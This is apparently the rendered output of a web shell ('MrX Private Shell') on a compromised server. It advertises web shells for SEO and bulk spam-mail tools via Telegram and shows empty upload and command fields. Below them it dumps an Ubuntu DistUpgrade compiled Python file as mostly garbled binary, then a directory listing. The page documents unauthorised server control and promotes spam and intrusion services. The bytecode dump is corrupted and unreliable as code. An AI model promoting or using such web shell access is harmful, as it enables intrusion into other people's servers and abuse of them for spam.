__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

)+�gE���SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJr SSK	J	r
 SSK	Jr SSKJ
r
 SSKJrJrJr SSKJr SSKJrJrJrJrJr SSKrSSKr\R8"5 "S	S
\5r"SS5rS
r Sr!S.Sjr"Sr#S/Sjr$Sr%Sr&Sr'Sr(Sr)Sr*"SS\5r+S.Sjr,S.Sjr-Sr.Sr/Sr0Sr1S.S jr2S!r3S.S"jr4S.S#jr5S$r6S%r7S&r8S'r9S(r:S)r;S*r<\=S+:Xa\6"SS,S-5 gg)0�N)�copy)�gettext)�ngettext)�ceil)�S_IMODE�S_IXUSR�ST_MODE)�urlsplit)�ProxyHandler�Request�build_opener�install_opener�urlopenc�.�\rSrSrSrSSjrSrSrSrg)	�
ExecutionTime�4z�
Helper that can be used in with statements to have a simple
measure of the timing of a particular block of code, e.g.
with ExecutionTime("db flush"):
    db.flush()
c��Xlg�N)�info)�selfrs  �3/usr/lib/python3/dist-packages/DistUpgrade/utils.py�__init__�ExecutionTime.__init__<s���	�c�8�[R"5Ulgr)�time�now�rs r�	__enter__�ExecutionTime.__enter__?s���9�9�;��rc�|�[UR<S[R"5UR-
<35 g)Nz: )�printrrr)r�type�value�stacks    r�__exit__�ExecutionTime.__exit__Bs"��
�$�)�)�T�Y�Y�[�4�8�8�%;�<�=r)rrN)�)	�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr&�__static_attributes__�rrrr4s�����>rrc�0�\rSrSrSrSrSrSrSrSr	Sr
S	rg
)�SoftwarePropertiesPage�Fr������r/N)r)r*r+r,�ubuntu_software�other_software�updates�authentication�additional_drivers�developer_options�
ubuntu_pror.r/rrr1r1Fs'���O��N��G��N������Jrr1c�H�[U5n[UR5nUR(a+URR	URS5UlUR
(a+URR	UR
S5Ul[
U5$)Nzhidden-uzhidden-p)rr
�uri�username�replace�password�str)�entry�tmp�	url_partss   r�)get_string_with_no_auth_from_source_entryrIPsl��
�u�+�C�����!�I�����'�'�/�/�)�"4�"4�j�A�������'�'�/�/�)�"4�"4�j�A����s�8�Orc��SnSSKnUR5nURS5nU$![a [R
"S5 U$f=f)z)return True if Unity is currently runningFrNzcom.canonical.Unityz&could not check for Unity dbus service)�dbus�
SessionBus�name_has_owner�	Exception�logging�	exception)�
unity_runningrK�buss   r�is_unity_runningrSZs]���M�D���o�o����*�*�+@�A�
�����D����B�C���D�s�%+� A�Ac��U(d[R"5nUS:�a�SU-n[U5nUR5nSSS5 WR	S5SRS5SnXP:Xag[
URS5SR5S5nUS:�aM�g!,(df   Nq=f)	Nrz
/proc/%s/stat�(r4�)Tr3F)�os�getpid�open�read�	partition�
rpartition�int�split)�processname�pid�	stat_file�stat_f�stat�commands      r�is_child_of_process_nameregs�����i�i�k��

��'�#�c�)�	�
�)�_���;�;�=�D���.�.��%�a�(�3�3�C�8��;���!���$�/�/�#�&�q�)�/�/�1�!�4�5����'���_�s�B/�/
B=c���[RRS5(a$[RRS5(dg[R"S5[R"S5:g$)z&returns True if we are inside a chrootz/procz/proc/1T�/z/proc/1/root)rW�path�existsrcr/rr�
inside_chrootrjwsH���7�7�>�>�'�"�"�"�'�'�.�.��*C�*C��
�7�7�3�<�2�7�7�>�2�2�2rc��SnUR5H?n[U5URS5-
[U5-U:�aUSU--
nX4S--
nMA U$)z�helpers inspired after textwrap - unfortunately
we can not use textwrap directly because it break
packagenames with "-" in them into new lines
r(�
� )r^�len�rfind)�t�width�subsequent_indent�out�ss     r�wrapru�s]��

�C�
�W�W�Y����H�s�y�y���&�#�a�&�0�5�8��4�+�+�+�C��3�w�����Jrc�d�SnURS5nUHn[U40UD6nX S--
nM U$)Nr(rl)r^ru)rt�kwargs�msg�paras�pars     r�twrapr{�s?��
�C�
�G�G�D�M�E����������4�x�����Jrc�R�/n[RRS5(d/$[R"S/[R
SS9nUR
5SRS5nUS	UH.nU(dMURUR5S5 M0 U$)z;return list of loaded modules (or [] if lsmod is not found)z/sbin/lsmodT��stdout�universal_newlinesrrl)	rWrhri�
subprocess�Popen�PIPE�communicater^�append)�modules�p�lines�lines    r�lsmodr��s����G�
�7�7�>�>�-�(�(��	����	��
���D�	�A�
�M�M�O�A��$�$�T�*�E�
�a�����4��N�N�4�:�:�<��?�+���Nrc��[RRU5(dg[[R"U5[
5nU[-[:Xd[R"X[-5 gg)zAcheck if a given binary has the executable bit and if not, add itN)rWrhrirrcr	r�chmod)rh�modes  r�check_and_fix_xbitr��sP��
�7�7�>�>�$�����2�7�7�4�=��)�*�D�
�G�^��'�
����g�~�&�
(rc�<�SS0nS[R;ag[RSR5nUSSU;aXSS$SU;aEURS5SRS5S	nS
U;aURS
5SnUS-$USSS-$)z8helper to get the country mirror from the current locale�cr(�LANGNr7�_�.rr3�@r4)rW�environ�lowerr^)�lang_mirror�lang�countrys   r�country_mirrorr��s�����)�K�
�R�Z�Z���
�:�:�f��#�#�%�D��B�Q�x�;�����8�$�$�
�d�{��*�*�S�/�!�$�*�*�3�/��2���'�>��m�m�C�(��+�G���}���B�Q�x�#�~�rc���[RRS5nU(a[R"SU-5 U$[
R"5nURSS5$)z0return the codename of the current runing distro�META_RELEASE_FAKE_CODENAMEzQusing fake release name '%s' (because of META_RELEASE_FAKE_CODENAME environment) �VERSION_CODENAME�unknown distribution�rWr��getrO�warning�platform�freedesktop_os_release)�dist�
os_releases  r�get_distr��s[���:�:�>�>�6�7�D�����
7�9=�
>�	
����0�0�2�J��>�>�,�.D�E�Erc���[RRS5nU(a[R"SU-5 U$[
R"5nURSS5$)z0return the version of the current running distro�META_RELEASE_FAKE_VERSIONzSusing fake release version '%s' (because of META_RELEASE_FAKE_VERSION environment) �
VERSION_IDr�r�)�descr�s  r�get_dist_versionr��sZ���:�:�>�>�5�6�D�����
6�8<�
=�	
����0�0�2�J��>�>�,�(>�?�?rc��\rSrSrSrSrg)�HeadRequest��c��g)N�HEADr/rs r�
get_method�HeadRequest.get_method�s��rr/N)r)r*r+r,r�r.r/rrr�r��s��rr�c
��U(dS U"SU-5 [U5up#pEnU"SU<SU<SU<SU<SU<S35 US	;a7[[U55nUR5 URS
:XaggUS:Xa�SSKn	U	RU5n
U
R5 U
R[RRU55 U
R[RRU55nU
R5 U(aU"SU-5 US:waggg![
anU"S
U-5 SnAgSnAff=f![
anU(aU"SU-5 SnAgSnAff=f)z�
helper that checks if the given uri exists and is downloadable
(supports optional debug_func function handler to support
 e.g. logging)

Supports http (via HEAD) and ftp (via size request)
c��g)NTr/)�xs r�<lambda>�"url_downloadable.<locals>.<lambda>�s��$rzurl_downloadable: %szs='z' n='z' p='z' q='z' f='�')�http�https��TFzerror from httplib: '%s'N�ftprzftplib.size() returned: %szerror from ftplib: '%s')r
rr��close�coderN�ftplib�FTP�login�cwdrWrh�dirname�size�basename�quit)rA�
debug_func�scheme�netlocrh�querry�fragment�	http_file�er��fr�s            r�url_downloadabler��sO�����%��+�,�/7��}�,�V�T�8���6�4���	3���"�"�	���C� 0�1�I��O�O���~�~��$���
�5���
	��
�
�6�"�A�
�G�G�I�
�E�E�"�'�'�/�/�$�'�(��6�6�"�'�'�*�*�4�0�1�D�
�F�F�H���7�$�>�?��q�y�����)�	��1�A�5�6���	�� �	���4�q�8�9���	�s1�	4D3�
B%E�3
E�=E
�
E�
E;�E6�6E;c��Sn0n[RRS5S:wa#[RRS5US'O�[RRU5(a�[R"5n[R"X15 URSS5nU(aGURS5n[URS55nU(aU(aS	U<S
U<S3US'[RRS5S:wa#[RRS5US
'OSU;aUSUS
'U(a�UR5H<n[R"SU5(aM![SU-[R S9  g [#U5n[%U5n	['U	5 SU;a[R("SUS5 S
U;a[R("SUS
5 U$)z�init proxy settings

* use apt.conf http proxy if present,
* otherwise look into synaptics config file,
* otherwise the default behavior will use http_proxy environment
  if present
z/root/.synaptic/synaptic.confzAcquire::http::Proxyr(r�zSynaptic::useProxyFzSynaptic::httpProxyzSynaptic::httpProxyPortzhttp://�:rgzAcquire::https::Proxyr�zhttps?://\w+zproxy '%s' looks invalid)�fileN�
http_proxy�https_proxy)�apt_pkg�config�findrWrhri�
Configuration�read_config_file�find_brE�find_i�values�re�matchr"�sys�stderrrr
r�putenv)
�	gsettings�SYNAPTIC_CONF_FILE�proxies�cnf�	use_proxy�
proxy_host�
proxy_port�proxy�
proxy_support�openers
          r�
init_proxyr�s���9���G��~�~���1�2�b�8�!�.�.�-�-�.D�E����	�����*�	+�	+��#�#�%��� � ��9��J�J�3�U�;�	�����"7�8�J��S�Z�Z�(A�B�C�J��j�5?��"L�����~�~���2�3�r�9�"�>�>�.�.�/F�G����	�7�	�"�6�?������^�^�%�E��8�8�O�U�3�3��0�5�8�s�z�z�J��&�%�W�-�
��m�,���v���W���I�I�l�G�F�O�4��g���I�I�m�W�W�%5�6��Nrc���SSKnURURR5nURSS5nUR	US5nURSS5$!URRaSnSnURU:waeURSS	5nUR	US5nURSS
5sSnA$SnAff=f![a gf=f)z�
Check via dbus if the system is running on battery.
This function is using UPower per default, if UPower is not
available it falls-back to DeviceKit.Power.
rNzorg.freedesktop.UPowerz/org/freedesktop/UPowerzorg.freedesktop.DBus.Properties�	OnBatteryz)org.freedesktop.DBus.Error.ServiceUnknownzorg.freedesktop.DeviceKit.Powerz /org/freedesktop/DeviceKit/Power�
on_batteryF)
rK�Bus�TYPE_SYSTEM�
get_object�	Interface�Get�
exceptions�
DBusException�_dbus_error_namerN)rKrR�devobj�devr��
error_unknowns      rr�r�Es������h�h�t�x�x�+�+�,��	L��^�^�(�*C��F��.�.��)J�K�C��7�7�3�[�A�A�����,�,�		L�G�M��!�!�]�2���^�^�1�2��F��.�.��)J�K�C��7�7�<�l�K�K��		L������s;�)C�5A"�"C�<AC
�C�C�
C�C�
C�Cc� �SSKJnJn URURR
5nUR
SSSSURSS5S	SS
S	S	5
up4URUR5USS9nU$![a gf=f)
zv
Send a dbus signal to logind to not suspend the system, it will be
released when the return value drops out of scope
r)�Gio�GLibzorg.freedesktop.login1z/org/freedesktop/login1zorg.freedesktop.login1.Manager�Inhibitz(ssss))zshutdown:sleep�
UpdateManagerzUpdating System�blockN���)�fdF)�
gi.repositoryr�r��bus_get_sync�BusType�SYSTEM�call_with_unix_fd_list_sync�Variant�UnixInputStream�	steal_fdsrN)r�r��
connection�var�fdlist�	inhibitors      r�
inhibit_sleepres���
�+��%�%�c�k�k�&8�&8�9�
� �<�<�$�%�,���L�L���
�
�
����%
���(�'�'�6�+;�+;�+=�c�!�f�+E�'�F�	��������s�A=B�
B
�B
c�:�US:XdUR5S:Xagg)N�0�FALSEFT)�upper)rEs r�str_to_boolr�s��
�c�z�S�Y�Y�[�G�+��rc��SSKn[R"5upU$![a UR"S5 gf=f)Nrzgedefaultlocale() failed)rO�locale�getdefaultlocalerNrP)rO�locale_s�encodings   r�get_langr�sA����%�6�6�8�����������4�5���s��>�>c�>�[US9nURSS5S$)z4try to guess the flavor based on the running desktop��cache�-r3r)�get_ubuntu_flavor_packager^)r�pkgs  r�get_ubuntu_flavorr �s$��
$�%�
0�C��9�9�S�!��Q��rc�B�SSKJn U"S5nURSS5$)Nr)�DistUpgradeConfigz"/usr/share/ubuntu-release-upgrader�Distro�MetaPkgs)�#DistUpgrade.DistUpgradeConfigParserr"�getlist)r"�parsers  r�_load_meta_pkg_listr(�s$��F�
�C�
D�F��>�>�(�J�/�/rc�*�S/nUR[[555 Uc[
R"5nUH,nX0;aXOSnU(dMUR(dM*Us $ g![an[	SU5 SnANfSnAff=f)z@try to guess the flavor metapackage based on the running desktopzubuntu-desktopz%Could not load list of meta packages:N)�extend�sortedr(rNr"�apt�Cache�is_installed)r�	meta_pkgsr��meta_pkg�	cache_pkgs     rrr�s���
"�"�I�:����� 3� 5�6�7�
�}��	�	�����'/�'8�E�O�d�	��9��/�/�/��O�����:�
�5�q�9�9��:�s�"A2�2
B�<B
�
Bc��[US9nSS0nX;aX!$URS5(a[URSS5S5$URS5(a[URSS5S5$g)	z9try to guess the flavor name based on the running desktoprzubuntustudio-desktopz
Ubuntu Studioz-desktopr3rz-netbook�Ubuntu)r�endswith�capitalize_first_word�rsplit)rr�lookups   r�get_ubuntu_flavor_namer8�sz��
#�%�
0�C�$�o�
6�F�
�}��{��	���j�	!�	!�$�S�Z�Z�
�A�%>�q�%A�B�B�	���j�	!�	!�$�S�Z�Z�
�A�%>�q�%A�B�B�rc��SSKnURSS5 SSKJnJn URUURRURRURRS9nURSU<SU<35 UR5 UR5RUR R"5 UR%S5 UR'5 UR)5 g	)
Nr�Gtkz3.0)�Gdkr:)�parent�flagsr#�buttonsz<big><b>z</b></big>

r(F)�gi�require_versionrr;r:�
MessageDialog�DialogFlags�MODAL�MessageType�ERROR�ButtonsType�CLOSE�
set_markup�realize�
get_window�
set_functions�
WMFunction�MOVE�	set_title�run�destroy)r<�summary�messager?r;r:�ds       r�errorrT�s���
����u�e�$�&������o�o�#�#�
�_�_�
"�
"����%�%�		�	�A��L�L��'�B�C��I�I�K��L�L�N� � ����!4�!4�5��K�K��O��E�E�G��I�I�K�rc��US:a2[[U[S5-55n[SSU5SU0-$[R
"[
S5US-S-5$)z?
Convert a given size in bytes to a nicer better readable unit
i@Bi�z
%(size).0f kBr�z%.1f MBg@�@)r]r�floatrr�
format_stringr�)�bytes�
size_in_kbs  r�
humanize_sizerZ�si��

�{����e�e�D�k�1�2�3�
����*�E��J�I
�
�	
�
�#�#�A�i�L�%�&�.�6�2I�J�Jrc�@�[RRS5$)NzAPT::Architecture)r�r�r�r/rr�get_archr\�s���>�>���2�3�3rc�R�SnSnSn[S5nUR5HhnUR5nU(dMUR5nXbnXs:waM7XaRS5Sn[	US5n	X�:XdM` SSS5 g SSS5 g	!,(df   g	=f)
z>check if the current system is listening on the given tcp portr3r5�0Az
/proc/net/tcpr��NTF)rY�	readlines�stripr^r])
�port�INDEX_LOCAL_ADDR�INDEX_STATE�STATE_LISTENING�net_tcpr�r��state�local_port_str�
local_ports
          r�is_port_already_listeningrj�s������K��O�	
�o�	�'��%�%�'�D��:�:�<�D����Z�Z�\�F��'�E��'��#�5�;�;�C�@��C�N��^�R�0�J��!��
�	�'�
� �!
�	� �s�A-B�B�
B�
B&c��Sn[R"5S:wa[S5e[RR	S5(dg[
R"SS/[
RSS	9R5SnX:Xagg)
z!Return True if iptables is activez�Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
rz%Need root to check the iptables statez/sbin/iptablesF�iptablesz-nLTr})	rW�getuid�OSErrorrhrir�r�r�r�)�iptables_emptyrss  r�iptables_activerpsx���N�
�y�y�{�a���=�>�>�
�7�7�>�>�*�+�+��
�
�
�	�U��J�O�O����k�m�A��C����rc��[U5S:�aIUSR5(a1USR5(dUSR5USS-$U$)z-this uppercases the first word's first letterr3rN)rn�isalpha�isupper�
capitalize)�strings rr5r51sT��
�6�{�Q��6�!�9�,�,�.�.�v�a�y�7H�7H�7J�7J��a�y�#�#�%��q�r�
�2�2��Mrc�F�[URSS5n[U5$)zKthis takes a package synopsis and uppercases the first word's
first letter
rQr()�getattr�	candidater5)r�names  r�get_package_labelrz8s!���3�=�=�)�R�0�D� ��&�&r�__main__�bar�bazr)r2r()>rrOrWr�r�r�r�rrrr�r�mathrrcrrr	�urllib.parser
�urllib.requestrrr
rrr,r��init_config�objectrr1rIrSrerjrur{r�r�r�r�r�r�r�r�r�rrrr r(rr8rTrZr\rjrpr5rzr)r/rr�<module>r�s$��0��	��	��
��� ���*�*�!���������>�F�>�$���
�
� 3�
���&'��,F�@��'��
+�\)�X�@#�L�� �0��*��*K�$4��8�0�'��z��

�$��u��r

Filemanager

Name Type Size Permission Actions
DistUpgradeApport.cpython-313.pyc File 6.12 KB 0644
DistUpgradeCache.cpython-313.pyc File 59.35 KB 0644
DistUpgradeConfigParser.cpython-313.pyc File 4.2 KB 0644
DistUpgradeController.cpython-313.pyc File 101.91 KB 0644
DistUpgradeFetcher.cpython-313.pyc File 7.21 KB 0644
DistUpgradeFetcherCore.cpython-313.pyc File 12.6 KB 0644
DistUpgradeFetcherKDE.cpython-313.pyc File 10.51 KB 0644
DistUpgradeGettext.cpython-313.pyc File 2.68 KB 0644
DistUpgradeMain.cpython-313.pyc File 10.22 KB 0644
DistUpgradeQuirks.cpython-313.pyc File 49.98 KB 0644
DistUpgradeVersion.cpython-313.pyc File 186 B 0644
DistUpgradeView.cpython-313.pyc File 21.06 KB 0644
DistUpgradeViewGtk3.cpython-313.pyc File 48.36 KB 0644
DistUpgradeViewKDE.cpython-313.pyc File 53.71 KB 0644
DistUpgradeViewNonInteractive.cpython-313.pyc File 17.46 KB 0644
DistUpgradeViewText.cpython-313.pyc File 13.41 KB 0644
GtkProgress.cpython-313.pyc File 4.58 KB 0644
MetaRelease.cpython-313.pyc File 18.05 KB 0644
QUrlOpener.cpython-313.pyc File 3 KB 0644
ReleaseNotesViewer.cpython-313.pyc File 8.47 KB 0644
ReleaseNotesViewerWebkit.cpython-313.pyc File 2.53 KB 0644
SimpleGtk3builderApp.cpython-313.pyc File 2.36 KB 0644
SimpleGtkbuilderApp.cpython-313.pyc File 2.34 KB 0644
__init__.cpython-313.pyc File 151 B 0644
apt_btrfs_snapshot.cpython-313.pyc File 17.36 KB 0644
dist-upgrade.cpython-313.pyc File 347 B 0644
telemetry.cpython-313.pyc File 4.72 KB 0644
utils.cpython-313.pyc File 22.68 KB 0644
xorg_fix_proprietary.cpython-313.pyc File 5.96 KB 0644
Filemanager